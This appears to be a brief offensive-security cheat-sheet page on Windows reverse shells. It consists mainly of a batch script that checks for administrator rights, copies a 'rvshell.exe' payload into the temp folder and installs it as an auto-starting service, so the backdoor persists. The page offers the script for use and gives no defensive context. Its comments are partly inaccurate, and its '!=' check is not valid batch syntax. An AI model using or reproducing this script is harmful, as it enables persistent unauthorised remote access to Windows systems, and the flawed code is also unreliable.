Reverse shell
Setup
REM Executes a C# script that returns a boolean value that indicates if the current user is in the "Adminstrators" group, before storing the value in the "ISADMIN" env variable
for /f "delims=" %%a in ('powershell.exe -NoProfile -Command "([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator)"') do set ISADMIN=%%a
REM Echo the value of the "ISADMIN" env variable (for debugging purposes)
echo ISADMIN=%ISADMIN%
REM User is not an administrator: EXIT
if /i "%ISADMIN%"!="True" (
echo User is NOT an administrator
exit
)
REM User is an administrator: continue next step
set RVSHELL_EXE=%TEMP%\rvshell.exe
REM Copy reverse shell payload to a temp folder
copy /y rvshell.exe %RVSHELL_EXE%
REM Create and start a service with sc.exe
sc.exe create "rvshell" binPath= "%RVSHELL_EXE%" start= auto
sc.exe start "rvshell"
REM EXIT current prompt
exitCatch the shell
Resources
Last updated